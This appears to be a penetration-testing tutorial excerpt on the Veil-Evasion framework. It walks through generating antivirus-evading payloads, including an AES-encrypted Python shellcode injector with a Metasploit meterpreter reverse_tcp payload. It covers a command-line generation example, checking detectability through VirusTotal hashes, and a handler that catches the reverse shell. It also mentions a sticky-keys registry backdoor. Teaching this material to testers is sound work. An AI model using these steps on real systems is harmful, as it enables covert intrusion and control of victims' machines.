(For more resources related to this topic, see here.)
A new AV-evasion framework, written by Chris Truncer, called Veil-Evasion (www.Veil-Evasion.com), is now providing effective protection against the detection of standalone exploits. Veil-Evasion aggregates various shellcode injection techniques into a framework that simplifies management.
As a framework, Veil-Evasion possesses several features, which includes the following:
It incorporates custom shellcode in a variety of programming languages, including C, C#, and Python
It can use Metasploit-generated shellcode
It can integrate third-party tools such as Hyperion (encrypts an EXE file with AES-128 bit encryption), PEScrambler, and BackDoor Factory
The Veil-Evasion_evasion.cna script allows for Veil-Evasion to be integrated into Armitage and its commercial version, Cobalt Strike
Payloads can be generated and seamlessly substituted into all PsExec calls
Users have the ability to reuse shellcode or implement their own encryption methods
It’s functionality can be scripted to automate deployment
Veil-Evasion is under constant development and the framework has been extended with modules such as Veil-Evasion-Catapult (the payload delivery system)
Veil-Evasion can generate an exploit payload; the standalone payloads include the following options:
Minimal Python installation to invoke shellcode; it uploads a minimal Python.zip installation and the 7zip binary. The Python environment is unzipped, invoking the shellcode. Since the only files that interact with the victim are trusted Python libraries and the interpreter, the victim’s AV does not detect or alarm on any unusual activity.
Sethc backdoor, which configures the victim’s registry to launch the sticky keys RDP backdoor.
PowerShell shellcode injector.
When the payloads have been created, they can be delivered to the target in one of the following two ways:
Upload and execute using Impacket and PTH toolkit
Veil-Evasion is available from the Kali repositories, such as Veil-Evasion, and it is automatically installed by simply entering apt-get install veil-evasion in a command prompt.
If you receive any errors during installation, re-run the /usr/share/veil-evasion/setup/setup.sh script.
Veil-Evasion presents the user with the main menu, which provides the number of payload modules that are loaded as well as the available commands. Typing list will list all available payloads, list langs will list the available language payloads, and list <language> will list the payloads for a specific language. Veil-Evasion’s initial launch screen is shown in the following screenshot:
Veil-Evasion is undergoing rapid development with significant releases on a monthly basis and important upgrades occurring more frequently. Presently, there are 24 payloads designed to bypass antivirus by employing encryption or direct injection into the memory space. These payloads are shown in the next screenshot:
To obtain information on a specific payload, type info<payload number / payload name> or info <tab> to autocomplete the payloads that are available. You can also just enter the number from the list. In the following example, we entered 19 to select the python/shellcode_inject/aes_encrypt payload:
The exploit includes an expire_payload option. If the module is not executed by the target user within a specified timeframe, it is rendered inoperable. This function contributes to the stealthiness of the attack.
The required options include the name of the options as well as the default values and descriptions. If a required value isn’t completed by default, the tester will need to input a value before the payload can be generated. To set the value for an option, enter set <option name> and then type the desired value. To accept the default options and create the exploit, type generate in the command prompt.
If the payload uses shellcode, you will be presented with the shellcode menu, where you can select msfvenom (the default shellcode) or a custom shellcode. If the custom shellcode option is selected, enter the shellcode in the form of x01x02, without quotes and newlines (n). If the default msfvenom is selected, you will be prompted with the default payload choice of windows/meterpreter/reverse_tcp. If you wish to use another payload, press Tab to complete the available payloads. The available payloads are shown in the following screenshot:
In the following example, the
The user will then be presented with the output menu with a prompt to choose the base name for the generated payload files. If the payload was Python-based and you selected compile_to_exe as an option, the user will have the option of either using Pyinstaller to create the EXE file, or generating Py2Exe files, as shown in the following screenshot:
The final screen displays information on the generated payload, as shown in the following screenshot:
The exploit could also have been created directly from a command line using the following options:
kali@linux:~./Veil-Evasion.py -p python/shellcode_inject/aes_encrypt -o -output
--msfoptions LHOST=192.168.43.134 LPORT=4444
Once an exploit has been created, the tester should verify the payload against VirusTotal to ensure that it will not trigger an alert when it is placed on the target system. If the payload sample is submitted directly to VirusTotal and it’s behavior flags it as malicious software, then a signature update against the submission can be released by antivirus (AV) vendors in as little as one hour. This is why users are clearly admonished with the message “don’t submit samples to any online scanner!”
Veil-Evasion allows testers to use a safe check against VirusTotal. When any payload is created, a SHA1 hash is created and added to hashes.txt, located in the ~/veil-output directory. Testers can invoke the checkvt script to submit the hashes to VirusTotal, which will check the SHA1 hash values against its malware database. If a Veil-Evasion payload triggers a match, then the tester knows that it may be detected by the target system. If it does not trigger a match, then the exploit payload will bypass the antivirus software. A successful lookup (not detectable by AV) using the checkvt command is shown as follows:
Testing, thus far supports the finding that if checkvt does not find a match on VirusTotal, the payload will not be detected by the target’s antivirus software. To use with the Metasploit Framework, use exploit/multi/handler and set PAYLOAD to be windows/meterpreter/reverse_tcp (the same as the Veil-Evasion payload option), with the same LHOST and LPORT used with Veil-Evasion as well. When the listener is functional, send the exploit to the target system. When the listeners launch it, it will establish a reverse shell back to the attacker’s system.
Kali provides several tools to facilitate the development, selection, and activation of exploits, including the internal exploit-db database as well as several frameworks that simplify the use and management of the exploits. Among these frameworks, the Metasploit Framework and Armitage are particularly important; however, Veil-Evasion enhances both with its ability to bypass antivirus detection.
Resources for Article:
- Kali Linux – Wireless Attacks [Article]
- Web app penetration testing in Kali [Article]
- Customizing a Linux kernel [Article]